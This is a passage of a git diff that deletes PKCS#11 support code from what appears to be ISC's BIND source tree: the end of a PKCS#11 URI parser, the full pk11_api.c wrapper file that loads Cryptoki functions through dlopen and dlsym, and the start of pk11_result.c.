-		} else if (strcmp(a, "token") == 0) {
-			/* token: CK_TOKEN_INFO label */
-			if (token == NULL) {
-				for (token = ISC_LIST_HEAD(tokens);
-				     token != NULL;
-				     token = ISC_LIST_NEXT(token, link))
-				{
-					if (pk11strcmp(v, l, token->name, 32)) {
-						break;
-					}
-				}
-			}
-		} else if (strcmp(a, "manufacturer") == 0) {
-			/* manufacturer: CK_TOKEN_INFO manufacturerID */
-			if (token == NULL) {
-				for (token = ISC_LIST_HEAD(tokens);
-				     token != NULL;
-				     token = ISC_LIST_NEXT(token, link))
-				{
-					if (pk11strcmp(v, l, token->manuf, 32))
-					{
-						break;
-					}
-				}
-			}
-		} else if (strcmp(a, "serial") == 0) {
-			/* serial: CK_TOKEN_INFO serialNumber */
-			if (token == NULL) {
-				for (token = ISC_LIST_HEAD(tokens);
-				     token != NULL;
-				     token = ISC_LIST_NEXT(token, link))
-				{
-					if (pk11strcmp(v, l, token->serial, 16))
-					{
-						break;
-					}
-				}
-			}
-		} else if (strcmp(a, "model") == 0) {
-			/* model: CK_TOKEN_INFO model */
-			if (token == NULL) {
-				for (token = ISC_LIST_HEAD(tokens);
-				     token != NULL;
-				     token = ISC_LIST_NEXT(token, link))
-				{
-					if (pk11strcmp(v, l, token->model, 16))
-					{
-						break;
-					}
-				}
-			}
-		} else if (strcmp(a, "library-manufacturer") == 0) {
-			/* ignored */
-		} else if (strcmp(a, "library-description") == 0) {
-			/* ignored */
-		} else if (strcmp(a, "library-version") == 0) {
-			/* ignored */
-		} else if (strcmp(a, "object-type") == 0) {
-			/* object-type: CKA_CLASS */
-			/* only private makes sense */
-			if (strcmp(v, "private") != 0) {
-				DST_RET(PK11_R_NOPROVIDER);
-			}
-		} else if (strcmp(a, "id") == 0) {
-			/* id: CKA_ID */
-			attr = pk11_attribute_bytype(obj, CKA_ID);
-			if (attr != NULL) {
-				DST_RET(PK11_R_NOPROVIDER);
-			}
-			attr = push_attribute(obj, mctx, l);
-			if (attr == NULL) {
-				DST_RET(ISC_R_NOMEMORY);
-			}
-			attr->type = CKA_ID;
-			memmove(attr->pValue, v, l);
-		} else if (strcmp(a, "pin-source") == 0) {
-			/* pin-source: PIN */
-			ret = isc_stdio_open(v, "r", &stream);
-			if (ret != ISC_R_SUCCESS) {
-				goto err;
-			}
-			memset(pin, 0, PINLEN + 1);
-			ret = isc_stdio_read(pin, 1, PINLEN + 1, stream, &l);
-			if ((ret != ISC_R_SUCCESS) && (ret != ISC_R_EOF)) {
-				goto err;
-			}
-			if (l > PINLEN) {
-				DST_RET(ISC_R_RANGE);
-			}
-			ret = isc_stdio_close(stream);
-			stream = NULL;
-			if (ret != ISC_R_SUCCESS) {
-				goto err;
-			}
-			gotpin = true;
-		} else {
-			DST_RET(PK11_R_NOPROVIDER);
-		}
-	}
-
-	if ((pk11_attribute_bytype(obj, CKA_LABEL) == NULL) &&
-	    (pk11_attribute_bytype(obj, CKA_ID) == NULL))
-	{
-		DST_RET(ISC_R_NOTFOUND);
-	}
-
-	if (token == NULL) {
-		if (optype == OP_RSA) {
-			token = best_rsa_token;
-		} else if (optype == OP_ECDSA) {
-			token = best_ecdsa_token;
-		} else if (optype == OP_EDDSA) {
-			token = best_eddsa_token;
-		}
-	}
-	if (token == NULL) {
-		DST_RET(ISC_R_NOTFOUND);
-	}
-	obj->slot = token->slotid;
-	if (gotpin) {
-		memmove(token->pin, pin, PINLEN + 1);
-		obj->reqlogon = true;
-	}
-
-	ret = ISC_R_SUCCESS;
-
-err:
-	if (stream != NULL) {
-		(void)isc_stdio_close(stream);
-	}
-	isc_mem_put(mctx, uri, len);
-	return (ret);
-}
-
-void
-pk11_error_fatalcheck(const char *file, int line, const char *funcname,
-		      CK_RV rv) {
-	isc_error_fatal(file, line, "%s: Error = 0x%.8lX\n", funcname, rv);
-}
-
-void
-pk11_dump_tokens(void) {
-	pk11_token_t *token;
-	bool first;
-
-	printf("DEFAULTS\n");
-	printf("\tbest_rsa_token=%p\n", best_rsa_token);
-	printf("\tbest_ecdsa_token=%p\n", best_ecdsa_token);
-	printf("\tbest_eddsa_token=%p\n", best_eddsa_token);
-
-	for (token = ISC_LIST_HEAD(tokens); token != NULL;
-	     token = ISC_LIST_NEXT(token, link))
-	{
-		printf("\nTOKEN\n");
-		printf("\taddress=%p\n", token);
-		printf("\tslotID=%lu\n", token->slotid);
-		printf("\tlabel=%.32s\n", token->name);
-		printf("\tmanufacturerID=%.32s\n", token->manuf);
-		printf("\tmodel=%.16s\n", token->model);
-		printf("\tserialNumber=%.16s\n", token->serial);
-		printf("\tsupported operations=0x%x (", token->operations);
-		first = true;
-		if (token->operations & (1 << OP_RSA)) {
-			first = false;
-			printf("RSA");
-		}
-		if (token->operations & (1 << OP_ECDSA)) {
-			if (!first) {
-				printf(",");
-			}
-			printf("EC");
-		}
-		printf(")\n");
-	}
-}
diff --git a/lib/isc/pk11_api.c b/lib/isc/pk11_api.c
deleted file mode 100644
index 400e0e5c97..0000000000
--- a/lib/isc/pk11_api.c
+++ /dev/null
@@ -1,706 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <dlfcn.h>
-#include <string.h>
-
-#include <isc/log.h>
-#include <isc/mem.h>
-#include <isc/once.h>
-#include <isc/print.h>
-#include <isc/stdio.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include <pkcs11/pkcs11.h>
-
-#define KEEP_PKCS11_NAMES
-#include <pk11/internal.h>
-#include <pk11/pk11.h>
-
-static void *hPK11 = NULL;
-static char loaderrmsg[1024];
-
-CK_RV
-pkcs_C_Initialize(CK_VOID_PTR pReserved) {
-	CK_C_Initialize sym;
-
-	if (hPK11 != NULL) {
-		return (CKR_CRYPTOKI_ALREADY_INITIALIZED);
-	}
-
-	hPK11 = dlopen(pk11_get_lib_name(), RTLD_NOW);
-
-	if (hPK11 == NULL) {
-		snprintf(loaderrmsg, sizeof(loaderrmsg),
-			 "dlopen(\"%s\") failed: %s\n", pk11_get_lib_name(),
-			 dlerror());
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	sym = (CK_C_Initialize)dlsym(hPK11, "C_Initialize");
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(pReserved));
-}
-
-char *
-pk11_get_load_error_message(void) {
-	return (loaderrmsg);
-}
-
-CK_RV
-pkcs_C_Finalize(CK_VOID_PTR pReserved) {
-	CK_C_Finalize sym;
-	CK_RV rv;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	sym = (CK_C_Finalize)dlsym(hPK11, "C_Finalize");
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	rv = (*sym)(pReserved);
-	if ((rv == CKR_OK) && (dlclose(hPK11) != 0)) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	hPK11 = NULL;
-	return (rv);
-}
-
-CK_RV
-pkcs_C_GetSlotList(CK_BBOOL tokenPresent, CK_SLOT_ID_PTR pSlotList,
-		   CK_ULONG_PTR pulCount) {
-	static CK_C_GetSlotList sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GetSlotList)dlsym(hPK11, "C_GetSlotList");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(tokenPresent, pSlotList, pulCount));
-}
-
-CK_RV
-pkcs_C_GetTokenInfo(CK_SLOT_ID slotID, CK_TOKEN_INFO_PTR pInfo) {
-	static CK_C_GetTokenInfo sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GetTokenInfo)dlsym(hPK11, "C_GetTokenInfo");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(slotID, pInfo));
-}
-
-CK_RV
-pkcs_C_GetMechanismInfo(CK_SLOT_ID slotID, CK_MECHANISM_TYPE type,
-			CK_MECHANISM_INFO_PTR pInfo) {
-	static CK_C_GetMechanismInfo sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GetMechanismInfo)dlsym(hPK11, "C_GetMechanismInfo");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(slotID, type, pInfo));
-}
-
-CK_RV
-pkcs_C_OpenSession(CK_SLOT_ID slotID, CK_FLAGS flags, CK_VOID_PTR pApplication,
-		   CK_RV (*Notify)(CK_SESSION_HANDLE hSession,
-				   CK_NOTIFICATION event,
-				   CK_VOID_PTR pApplication),
-		   CK_SESSION_HANDLE_PTR phSession) {
-	static CK_C_OpenSession sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		hPK11 = dlopen(pk11_get_lib_name(), RTLD_NOW);
-	}
-	if (hPK11 == NULL) {
-		snprintf(loaderrmsg, sizeof(loaderrmsg),
-			 "dlopen(\"%s\") failed: %s\n", pk11_get_lib_name(),
-			 dlerror());
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_OpenSession)dlsym(hPK11, "C_OpenSession");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(slotID, flags, pApplication, Notify, phSession));
-}
-
-CK_RV
-pkcs_C_CloseSession(CK_SESSION_HANDLE hSession) {
-	static CK_C_CloseSession sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_CloseSession)dlsym(hPK11, "C_CloseSession");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession));
-}
-
-CK_RV
-pkcs_C_Login(CK_SESSION_HANDLE hSession, CK_USER_TYPE userType,
-	     CK_CHAR_PTR pPin, CK_ULONG usPinLen) {
-	static CK_C_Login sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_Login)dlsym(hPK11, "C_Login");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, userType, pPin, usPinLen));
-}
-
-CK_RV
-pkcs_C_Logout(CK_SESSION_HANDLE hSession) {
-	static CK_C_Logout sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_Logout)dlsym(hPK11, "C_Logout");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession));
-}
-
-CK_RV
-pkcs_C_CreateObject(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate,
-		    CK_ULONG usCount, CK_OBJECT_HANDLE_PTR phObject) {
-	static CK_C_CreateObject sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_CreateObject)dlsym(hPK11, "C_CreateObject");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pTemplate, usCount, phObject));
-}
-
-CK_RV
-pkcs_C_DestroyObject(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject) {
-	static CK_C_DestroyObject sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_DestroyObject)dlsym(hPK11, "C_DestroyObject");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, hObject));
-}
-
-CK_RV
-pkcs_C_GetAttributeValue(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject,
-			 CK_ATTRIBUTE_PTR pTemplate, CK_ULONG usCount) {
-	static CK_C_GetAttributeValue sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GetAttributeValue)dlsym(hPK11, "C_"
-							   "GetAttributeValue");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, hObject, pTemplate, usCount));
-}
-
-CK_RV
-pkcs_C_SetAttributeValue(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE hObject,
-			 CK_ATTRIBUTE_PTR pTemplate, CK_ULONG usCount) {
-	static CK_C_SetAttributeValue sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_SetAttributeValue)dlsym(hPK11, "C_"
-							   "SetAttributeValue");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, hObject, pTemplate, usCount));
-}
-
-CK_RV
-pkcs_C_FindObjectsInit(CK_SESSION_HANDLE hSession, CK_ATTRIBUTE_PTR pTemplate,
-		       CK_ULONG usCount) {
-	static CK_C_FindObjectsInit sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_FindObjectsInit)dlsym(hPK11, "C_FindObjectsInit");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pTemplate, usCount));
-}
-
-CK_RV
-pkcs_C_FindObjects(CK_SESSION_HANDLE hSession, CK_OBJECT_HANDLE_PTR phObject,
-		   CK_ULONG usMaxObjectCount, CK_ULONG_PTR pusObjectCount) {
-	static CK_C_FindObjects sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_FindObjects)dlsym(hPK11, "C_FindObjects");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, phObject, usMaxObjectCount, pusObjectCount));
-}
-
-CK_RV
-pkcs_C_FindObjectsFinal(CK_SESSION_HANDLE hSession) {
-	static CK_C_FindObjectsFinal sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_FindObjectsFinal)dlsym(hPK11, "C_FindObjectsFinal");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession));
-}
-
-CK_RV
-pkcs_C_EncryptInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		   CK_OBJECT_HANDLE hKey) {
-	static CK_C_EncryptInit sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_EncryptInit)dlsym(hPK11, "C_EncryptInit");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, hKey));
-}
-
-CK_RV
-pkcs_C_Encrypt(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData,
-	       CK_ULONG ulDataLen, CK_BYTE_PTR pEncryptedData,
-	       CK_ULONG_PTR pulEncryptedDataLen) {
-	static CK_C_Encrypt sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_Encrypt)dlsym(hPK11, "C_Encrypt");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pData, ulDataLen, pEncryptedData,
-		       pulEncryptedDataLen));
-}
-
-CK_RV
-pkcs_C_DigestInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism) {
-	static CK_C_DigestInit sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_DigestInit)dlsym(hPK11, "C_DigestInit");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism));
-}
-
-CK_RV
-pkcs_C_DigestUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		    CK_ULONG ulPartLen) {
-	static CK_C_DigestUpdate sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_DigestUpdate)dlsym(hPK11, "C_DigestUpdate");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pPart, ulPartLen));
-}
-
-CK_RV
-pkcs_C_DigestFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pDigest,
-		   CK_ULONG_PTR pulDigestLen) {
-	static CK_C_DigestFinal sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_DigestFinal)dlsym(hPK11, "C_DigestFinal");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pDigest, pulDigestLen));
-}
-
-CK_RV
-pkcs_C_SignInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		CK_OBJECT_HANDLE hKey) {
-	static CK_C_SignInit sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_SignInit)dlsym(hPK11, "C_SignInit");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, hKey));
-}
-
-CK_RV
-pkcs_C_Sign(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen,
-	    CK_BYTE_PTR pSignature, CK_ULONG_PTR pulSignatureLen) {
-	static CK_C_Sign sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_Sign)dlsym(hPK11, "C_Sign");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pData, ulDataLen, pSignature,
-		       pulSignatureLen));
-}
-
-CK_RV
-pkcs_C_SignUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		  CK_ULONG ulPartLen) {
-	static CK_C_SignUpdate sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_SignUpdate)dlsym(hPK11, "C_SignUpdate");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pPart, ulPartLen));
-}
-
-CK_RV
-pkcs_C_SignFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature,
-		 CK_ULONG_PTR pulSignatureLen) {
-	static CK_C_SignFinal sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_SignFinal)dlsym(hPK11, "C_SignFinal");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pSignature, pulSignatureLen));
-}
-
-CK_RV
-pkcs_C_VerifyInit(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		  CK_OBJECT_HANDLE hKey) {
-	static CK_C_VerifyInit sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_VerifyInit)dlsym(hPK11, "C_VerifyInit");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, hKey));
-}
-
-CK_RV
-pkcs_C_Verify(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pData, CK_ULONG ulDataLen,
-	      CK_BYTE_PTR pSignature, CK_ULONG ulSignatureLen) {
-	static CK_C_Verify sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_Verify)dlsym(hPK11, "C_Verify");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pData, ulDataLen, pSignature, ulSignatureLen));
-}
-
-CK_RV
-pkcs_C_VerifyUpdate(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pPart,
-		    CK_ULONG ulPartLen) {
-	static CK_C_VerifyUpdate sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_VerifyUpdate)dlsym(hPK11, "C_VerifyUpdate");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pPart, ulPartLen));
-}
-
-CK_RV
-pkcs_C_VerifyFinal(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSignature,
-		   CK_ULONG ulSignatureLen) {
-	static CK_C_VerifyFinal sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_VerifyFinal)dlsym(hPK11, "C_VerifyFinal");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pSignature, ulSignatureLen));
-}
-
-CK_RV
-pkcs_C_GenerateKey(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		   CK_ATTRIBUTE_PTR pTemplate, CK_ULONG ulCount,
-		   CK_OBJECT_HANDLE_PTR phKey) {
-	static CK_C_GenerateKey sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GenerateKey)dlsym(hPK11, "C_GenerateKey");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, pTemplate, ulCount, phKey));
-}
-
-CK_RV
-pkcs_C_GenerateKeyPair(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		       CK_ATTRIBUTE_PTR pPublicKeyTemplate,
-		       CK_ULONG usPublicKeyAttributeCount,
-		       CK_ATTRIBUTE_PTR pPrivateKeyTemplate,
-		       CK_ULONG usPrivateKeyAttributeCount,
-		       CK_OBJECT_HANDLE_PTR phPrivateKey,
-		       CK_OBJECT_HANDLE_PTR phPublicKey) {
-	static CK_C_GenerateKeyPair sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GenerateKeyPair)dlsym(hPK11, "C_GenerateKeyPair");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, pPublicKeyTemplate,
-		       usPublicKeyAttributeCount, pPrivateKeyTemplate,
-		       usPrivateKeyAttributeCount, phPrivateKey, phPublicKey));
-}
-
-CK_RV
-pkcs_C_DeriveKey(CK_SESSION_HANDLE hSession, CK_MECHANISM_PTR pMechanism,
-		 CK_OBJECT_HANDLE hBaseKey, CK_ATTRIBUTE_PTR pTemplate,
-		 CK_ULONG ulAttributeCount, CK_OBJECT_HANDLE_PTR phKey) {
-	static CK_C_DeriveKey sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_DeriveKey)dlsym(hPK11, "C_DeriveKey");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pMechanism, hBaseKey, pTemplate,
-		       ulAttributeCount, phKey));
-}
-
-CK_RV
-pkcs_C_SeedRandom(CK_SESSION_HANDLE hSession, CK_BYTE_PTR pSeed,
-		  CK_ULONG ulSeedLen) {
-	static CK_C_SeedRandom sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_SeedRandom)dlsym(hPK11, "C_SeedRandom");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, pSeed, ulSeedLen));
-}
-
-CK_RV
-pkcs_C_GenerateRandom(CK_SESSION_HANDLE hSession, CK_BYTE_PTR RandomData,
-		      CK_ULONG ulRandomLen) {
-	static CK_C_GenerateRandom sym = NULL;
-	static void *pPK11 = NULL;
-
-	if (hPK11 == NULL) {
-		return (CKR_LIBRARY_LOAD_FAILED);
-	}
-	if ((sym == NULL) || (hPK11 != pPK11)) {
-		pPK11 = hPK11;
-		sym = (CK_C_GenerateRandom)dlsym(hPK11, "C_GenerateRandom");
-	}
-	if (sym == NULL) {
-		return (CKR_FUNCTION_NOT_SUPPORTED);
-	}
-	return ((*sym)(hSession, RandomData, ulRandomLen));
-}
diff --git a/lib/isc/pk11_result.c b/lib/isc/pk11_result.c
deleted file mode 100644
index a8afed6abf..0000000000
--- a/lib/isc/pk11_result.c
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <stddef.h>
-
